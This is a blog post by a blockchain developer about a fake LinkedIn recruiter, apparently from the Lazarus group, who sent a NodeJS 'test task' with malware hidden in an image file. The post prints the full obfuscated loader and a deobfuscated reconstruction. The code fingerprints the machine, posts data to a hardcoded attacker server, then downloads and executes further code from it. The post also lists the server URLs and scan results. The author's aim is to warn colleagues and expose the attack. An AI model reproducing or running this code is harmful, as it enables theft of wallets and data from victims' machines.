Since last year, I have been getting strange LinkedIn connections.
After connect added straight away they send messgages with sweety offers about job or colaboration, or request for help and test application.
In all cases application was NodeJs project with malware! That malware collect collect sensitive information about cryptocurrency wallets from your laptop and install more complex malware code (may be some keyloggers or other collectors).
Why they wrote me? Why I am target? Attackers choose blockchain experts, becuase frequently cryptocurrency specialists have access to critical infrastructure of projesct wallets.
I have blockchain experience and involved in some success blockchain projects in the past. For this reason I can be ideal target as any other blockchain expert.
Common name for this type attackers — Lazarus.
DANGEROUS! Don’t run code from this article!
Why I need to post this article?
If you review reports on recent cryptocurrency attacks, you’ll notice that most major successful breaches were connected with Lazarus group. However, articles rarely provide detailed information about the attack methods. Still, if you dig deeper, you can often identify similar attack patterns — may be like desribed in this article. (for example Nexera attack, stolen 1.5 billion dollars from bybit etc.)
In most cases, once the attack is completed, you cannot recover or get your money back. That’s how the blockchain world works. You, and only you, control your funds. If you lose control, no one can help you. Moreover, intruders use mixers, which make stolen funds unrecoverable.
Today, one of the most effective ways to avoid losing funds is to prevent attacks in the first place. The main goal of this article is to demonstrate a real attack example for colleagues in the blockchain space. I believe this analysis can help identify attack attempts and improve security measures.
The second goal is to draw attention to problems in blockchain security:
- The long delay between attacks and response. I believe that with a more effective notification system, projects could block transactions from ByBit attackers faster.
- Lack of a dedicated investigative body. There is no official ‘blockchain police’ to investigate such incidents.
- Insufficient or ineffective security tools. For example, I still receive connection requests from fake LinkedIn accounts. For over a year now, I’ve seen no improvement in this situation.
Ok, now I can describe one of the case in my life.
Example of real attack attempt
On a sunny day, a stranger named Gustian L (his profile may already be blocked — https://www.linkedin.com/in/gustian-l-4051bb271/) sent me a connection request on LinkedIn.
His profile stated he was a Full Stack Engineer and CTO — generally presenting himself as the kindest soul. So why not accept the request?»
After that, I had a conversation with Gustian. I’m sharing this dialogue to demonstrate the typical communication pattern of attackers. I realized Gustian was a hacker from his very first message, and his final reply only confirmed my suspicions.
No, I’m not some expert scam-detector. I’ve just had numerous similar ‘encounters’ on LinkedIn — all following the exact same script.
Let’s look at the conversation:
Let me elaborate about communication pattern:
- Typically, attackers flatter you by saying what an exceptional developer you are and how skilled you appear. So if someone makes you feel like a uniquely important person without any reasons — be cautious. This is common psychology. However, this particular conversation didn’t follow that pattern.
- Attackers almost always mention extremely high salaries or perfect working conditions. Sometimes they offer exactly what you want (I suspect they research their targets beforehand by studying profiles or gathering information from other sources). In this case, it was both: salary 120-250k$ and mentions 3m$ and investors from UAE.
- To make the conversation more realistic, attackers may send you technical documentation about the project, UI/UX designs, or other project details. In that conversation attacker sent link to realistic figma design.
- The attacker might ask you about smart contracts or other Web3 development topics. This helps them verify that you’re a blockchain developer who could be assigned to profitable blockchain projects or might have a cryptocurrency wallet.
- The attacker always asks you to complete a simple test task for their project. The task usually simpe. If you try to demonstrate the task on your own project, the attacker will insist on performing the test using their customer’s project instead. Proof of test always requires to run attacker application.
- Attacker appllication always on nodejs/react. Links on github, gitlab or can zip can be sent.
- Sometimes the attacker may ask for your colleagues’ contact information. It’s not hard to guess why.
LinkedIn accounts used by attackers may be stolen (as might have happened in my case). If the attacker’s profile includes a company name or link to a company website, in most cases it leads to a basic site with minimal information.
Let’s see what Gustian sent me. I already know what to look for. Typically, malware is hidden at the end of a JSX file as a single line starting with ‘Object.prototype.toString’. Let’s find it.
In this case, the malware is hidden inside an image. Let’s find where the code from the image executes. Try searching for all references to ‘logo.png’:
Git files — it’s not interesting. Skip .git/index. Try to open auth.js and you will see the execution line:
Ok! We understood where is «image» executes. Let’s open malware code for undersaing how it works.
DANGEROUS! Don’t run code from this article!
The «image» conains:
1 |
Object.prototype.toString,Object.defineProperties;function E(a,b){const c=C();return E=function(d,e){d=d-0x18d;let f=c[d];return f;},E(a,b);}const aO=E;(function(ax,ay){const aL=E,az=ax();while(!![]){try{const aA=-parseInt(aL(0x198))/0x1*(parseInt(aL(0x1a7))/0x2)+-parseInt(aL(0x1a0))/0x3*(parseInt(aL(0x18d))/0x4)+parseInt(aL(0x194))/0x5*(-parseInt(aL(0x1ad))/0x6)+parseInt(aL(0x1aa))/0x7*(parseInt(aL(0x19b))/0x8)+parseInt(aL(0x1ac))/0x9*(-parseInt(aL(0x19f))/0xa)+-parseInt(aL(0x196))/0xb*(parseInt(aL(0x18f))/0xc)+parseInt(aL(0x197))/0xd;if(aA===ay)break;else az['push'](az['shift']());}catch(aB){az['push'](az['shift']());}}}(C,0x89efd));const F=(function(){let ax=!![];return function(ay,az){const aA=ax?function(){const aM=E;if(az){const aB=az[aM(0x199)](ay,arguments);return az=null,aB;}}:function(){};return ax=![],aA;};}()),H=F(this,function(){const aN=E;return H[aN(0x193)]()['search'](aN(0x19e))[aN(0x193)]()[aN(0x1a9)](H)[aN(0x1b2)](aN(0x19e));});function C(){const aV=['ZaG9tZWRpcg','cm1TeW5j','(((.+)+)+)+$','10440710HzUsuL','179904lrxukf','from','ZXhpc3RzU3luYw','YcmVxdWVzdA','cZXhlYw','Z2V0','bWtkaXJTeW5j','830yUvaWs','L2tleXM','constructor','14609iSZreQ','zcGF0aA','9AFctrk','534RVeTvv','base64','cG9zdA','d3JpdGVGaWxlU3luYw','Zbm9kZTpwcm9jZXNz','search','caG9zdG5hbWU','8hKoXZe','aY2hpbGRfcHJvY2Vzcw','277008nOiLfN','join','YcGxhdGZvcm0','sqj','toString','60985KjIMeh','marstech33','253WICxLE','53648465kqCNNO','2099HINhgV','apply','utf8','344dXnhwp'];C=function(){return aV;};return C();}H();const I=aO(0x1ae),K=aO(0x19a),L=require('fs'),M=require('os'),O=ax=>(s1=ax['slice'](0x1),Buffer[aO(0x1a1)](s1,I)[aO(0x193)](K));rq=require(O(aO(0x1a3))),pt=require(O(aO(0x1ab))),ex=require(O(aO(0x18e)))[O(aO(0x1a4))],zv=require(O(aO(0x1b1))),hd=M[O(aO(0x19c))](),hs=M[O(aO(0x1b3))](),pl=M[O(aO(0x191))](),uin=M[O('AdXNlckluZm8')]();let P;const Q=ax=>Buffer[aO(0x1a1)](ax,I)[aO(0x193)](K),a0=()=>{let ax='MTg1LjUzLjaHR0cDovLwQ2LjM4OjMwMDA= ';for(var ay='',az='',aA='',aB='',aC=0x0;aC<0xa;aC++)ay+=ax[aC],az+=ax[0xa+aC],aA+=ax[0x14+aC],aB+=ax[0x1e+aC];return ay=ay+aA+aB,Q(az)+Q(ay);},a1=[0x24,0xc0,0x29,0x8],a2=ax=>{let ay='';for(let az=0x0;az<ax['length'];az++)rr=0xff&(ax[az]^a1[0x3&az]),ay+=String['fromCharCode'](rr);return ay;},a3=aO(0x195),a4=aO(0x1a5),a5=aO(0x1b0),a6=Q(aO(0x1a2));function a7(ax){return L[a6](ax);}const a8=Q(aO(0x1a6)),a9=[0xa,0xb6,0x5a,0x6b,0x4b,0xa4,0x4c],aa=[0xb,0xaa,0x6],ab=()=>{const aP=aO,ax=a0(),ay=Q(a4),az=Q(a5),aA=a2(a9);let aB=pt[aP(0x190)](hd,aA);try{aC=aB,L[a8](aC,{'recursive':!0x0});}catch(aF){aB=hd;}var aC;const aD=''+ax+a2(aa)+a3,aE=pt['join'](aB,a2(ac));try{!function(aG){const aQ=aP,aH=Q(aQ(0x19d));L[aH](aG);}(aE);}catch(aG){}rq[ay](aD,(aH,aI,aJ)=>{if(!aH){try{L[az](aE,aJ);}catch(aK){}af(aB);}});},ac=[0x50,0xa5,0x5a,0x7c,0xa,0xaa,0x5a],ad=[0xb,0xb0],ae=[0x54,0xa1,0x4a,0x63,0x45,0xa7,0x4c,0x26,0x4e,0xb3,0x46,0x66],af=ax=>{const aR=aO,ay=a0(),az=Q(a4),aA=Q(a5),aB=''+ay+a2(ad),aC=pt[aR(0x190)](ax,a2(ae));a7(aC)?aj(ax):rq[az](aB,(aD,aE,aF)=>{if(!aD){try{L[aA](aC,aF);}catch(aG){}aj(ax);}});},ag=[0x47,0xa4],ah=[0x2,0xe6,0x9,0x66,0x54,0xad,0x9,0x61,0x4,0xed,0x4,0x7b,0x4d,0xac,0x4c,0x66,0x50],ai=[0x4a,0xaf,0x4d,0x6d,0x7b,0xad,0x46,0x6c,0x51,0xac,0x4c,0x7b],aj=ax=>{const ay=a2(ag)+' \x22'+ax+'\x22 '+a2(ah),az=pt['join'](ax,a2(ai));try{a7(az)?ao(ax):ex(ay,(aA,aB,aC)=>{an(ax);});}catch(aA){}},ak=[0x4a,0xaf,0x4d,0x6d],al=[0x4a,0xb0,0x44,0x28,0x9,0xed,0x59,0x7a,0x41,0xa6,0x40,0x70],am=[0x4d,0xae,0x5a,0x7c,0x45,0xac,0x45],an=ax=>{const ay=a2(al)+' \x22'+ax+'\x22 '+a2(am),az=pt['join'](ax,a2(ai));try{a7(az)?ao(ax):ex(ay,(aA,aB,aC)=>{ao(ax);});}catch(aA){}},ao=ax=>{const ay=pt['join'](ax,a2(ac)),az=a2(ak)+' '+ay;try{ex(az,(aA,aB,aC)=>{});}catch(aA){}},ap=O('cZm9ybURhdGE'),aq=O('adXJs'),ar=Q(aO(0x1af));let as='cmp';const at=async(ax,ay)=>{const aS=aO,az={'ts':P,'type':a3,'hid':as,'ss':ax,'cc':ay},aA=a0(),aB={[aq]:''+aA+Q(aS(0x1a8)),[ap]:az};try{rq[ar](aB,(aC,aD,aE)=>{});}catch(aC){}};var au=0x0;const av=async()=>{const aT=aO;try{P=Date['now']()[aT(0x193)](),await((async()=>{const aU=aT;as=hs,'d'==pl[0x0]&&(as=as+'+'+uin[Q('dXNlcm5hbWU')]);let ax='3D1';try{ax+=zv[Q('YXJndg')][0x1];}catch(ay){}at(aU(0x192),ax);})()),((async()=>{await new Promise((ax,ay)=>{ab();});})());}catch(ax){}};av();let aw=setInterval(()=>{(au+=0x1)<0x3?av():clearInterval(aw);},0x927c0); |
This is obfuscated code. Fortunately, it’s JavaScript, so reverse engineering and code restoration aren’t problematic. I won’t describe the process here — reverse engineering is complex and might be tedious for an article.
If you want to save time, you can reconstruct the core logic or partial code using an LLM service like DeepSeek.com. While LLMs may make mistakes and won’t perfectly reconstruct the code, the output is sufficient to understand the core functionality. Let’s examine DeepSeek’s results:
DANGEROUS! Don’t run code from this article!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 |
// Core functionality extracted from the obfuscated code const fs = require('fs'); const os = require('os'); const path = require('path'); const child_process = require('child_process'); // Constants and helper functions const ENCODING = 'base64'; const UTF8 = 'utf8'; const PLATFORM = os.platform(); const HOSTNAME = os.hostname(); const USERINFO = os.userInfo(); let P; // timestamp let deviceId = 'cmp'; // Decoding functions function decodeString(encoded) { const key = [0x24, 0xc0, 0x29, 0x8]; let decoded = ''; for (let i = 0; i < encoded.length; i++) { const rr = 0xff & (encoded[i] ^ key[0x3 & i]); decoded += String.fromCharCode(rr); } return decoded; } function fromBase64(encoded) { return Buffer.from(encoded, ENCODING).toString(UTF8); } // URL construction function getBaseUrl() { const parts = [ 'MTg1LjUzLjaHR0cDovLwQ2LjM4OjMwMDA=' ].join('').split(' '); let part1 = ''; let part2 = ''; for (let i = 0; i < 10; i++) { part1 += parts[0][i]; part2 += parts[0][10 + i]; } const fullUrl = part1 + parts[0].slice(20); return { host: fromBase64(part2), path: fromBase64(fullUrl) }; } // File system operations function fileExists(path) { return fs.existsSync(path); } function writeFileSync(path, content) { fs.writeFileSync(path, content); } function mkdirSync(path) { fs.mkdirSync(path, { recursive: true }); } // Main functionality function downloadAndExecute() { const { host, path: urlPath } = getBaseUrl(); const downloadPath = path.join(os.homedir(), decodeString([0x50, 0xa5, 0x5a, 0x7c, 0xa, 0xaa, 0x5a])); try { mkdirSync(downloadPath); } catch (e) { downloadPath = os.homedir(); } const fullUrl = host + urlPath + decodeString([0x54, 0xa1, 0x4a, 0x63, 0x45, 0xa7, 0x4c]); const outputFile = path.join(downloadPath, decodeString([0x50, 0xa5, 0x5a, 0x7c, 0xa, 0xaa, 0x5a])); require('request').get(fullUrl, (error, response, body) => { if (!error) { try { writeFileSync(outputFile, body); executeFile(downloadPath); } catch (e) {} } }); } function executeFile(filePath) { const command = decodeString([0x47, 0xa4]) + ' "' + filePath + '" ' + decodeString([0x2, 0xe6, 0x9, 0x66, 0x54, 0xad, 0x9, 0x61, 0x4, 0xed, 0x4, 0x7b]); const executablePath = path.join(filePath, decodeString([0x4a, 0xaf, 0x4d, 0x6d])); try { if (fileExists(executablePath)) { runExecutable(filePath); } else { child_process.exec(command, (error, stdout, stderr) => { monitorFile(filePath); }); } } catch (e) {} } function monitorFile(filePath) { const command = decodeString([0x4a, 0xb0, 0x44, 0x28, 0x9, 0xed, 0x59, 0x7a]) + ' "' + filePath + '" ' + decodeString([0x4d, 0xae, 0x5a, 0x7c]); const executablePath = path.join(filePath, decodeString([0x4a, 0xaf, 0x4d, 0x6d])); try { if (fileExists(executablePath)) { runExecutable(filePath); } else { child_process.exec(command, (error, stdout, stderr) => { runExecutable(filePath); }); } } catch (e) {} } function runExecutable(filePath) { const executablePath = path.join(filePath, decodeString([0x50, 0xa5, 0x5a, 0x7c, 0xa, 0xaa, 0x5a])); const command = decodeString([0x4a, 0xaf, 0x4d, 0x6d]) + ' ' + executablePath; try { child_process.exec(command, (error, stdout, stderr) => {}); } catch (e) {} } // Data collection and exfiltration async function sendData(sessionId, commandResult) { const { host, path: urlPath } = getBaseUrl(); const data = { ts: P, type: 'sync', hid: deviceId, ss: sessionId, cc: commandResult }; const requestOptions = { url: host + urlPath + 'keys', formData: data }; try { require('request').post(requestOptions, (error, response, body) => {}); } catch (e) {} } // Main execution async function initialize() { try { P = Date.now().toString(); // Device identification deviceId = HOSTNAME; if (PLATFORM[0] === 'd') { deviceId = deviceId + '+' + USERINFO.username; } let platformInfo = '3D1'; try { platformInfo += require('process').argv[1]; } catch (e) {} await sendData('request', platformInfo); // Download and execute payload await new Promise((resolve, reject) => { downloadAndExecute(); }); } catch (e) {} } // Start the process with retry mechanism initialize(); let retryCount = 0; let retryInterval = setInterval(() => { if (retryCount++ < 3) { initialize(); } else { clearInterval(retryInterval); } }, 600000); // 10 minutes |
Tha main points what code doing
- Download additional malware code from the attacker’s server. Then execute it on your laptop (unfortunately, I couldn’t download the extra code — I suspect it may contain keyloggers or other sensitive data collectors)
- Collect cryptocurrency wallets information from your laptop and sends to attacker server.
- Sometimes malware can works with Linux and Windows.
What can we do next? Let’s recover the attacker’s server IP — the destination where malware sends your data. Unfortunately, DeepSeek couldn’t help us here. After manual reconstruction, we can see this URL:
- http://185.53.46.38:3000/j/cZXhlYw — url from which additional malware code downloaded
- http://185.53.46.38:3000/keys — to this url malware send information from your laptop
Next step: we can run Nmap to gather information about the attacker’s server. As you can see, RDP is open. This suggests a Windows system, and Nmap confirms it — we’re dealing with Windows 10.
And let’s see where this server is hosted.:
1 2 3 4 5 6 7 8 9 10 |
| whois-ip: Record found at whois.ripe.net | inetnum: 185.53.46.0 - 185.53.46.127 | netname: STARK | descr: STARK INDUSTRIES SOLUTIONS LTD | country: CZ | orgname: STARK INDUSTRIES SOLUTIONS LTD. | organisation: ORG-SISL18-RIPE | email: noc@stark-industries.solutions | role: Stark Industries Solutions NOC |_email: noc@stark-industries.solutions |
Try to search in Google: STARK INDUSTRIES SOLUTIONS LTD and get link:
Now we can send a letter to this company to block the attacker and potentially continue the investigation. The best outcome would be for the company to block the attacker’s server and share information with law enforcement and cybersecurity researchers.
Сonclusions
If I had executed this code, I would have lost all my funds. I hope this article helps people in the cryptocurrency world be more cautious. Please be carefull.
LinkedIn isn’t the only platform attackers use to contact you. The approach may vary case by case — I’ve seen contact attempts via Telegram, email, and other channels.
Thank you for your time!
If you wish to contact me:
Telergam: @cromlehg
EMail: cromlehg@gmail.com
If this article was useful and you’d like to support the author:
Eth address — 0xE886DF69dc0cC1eAA2BAd8AFDE942F6cd69Cc264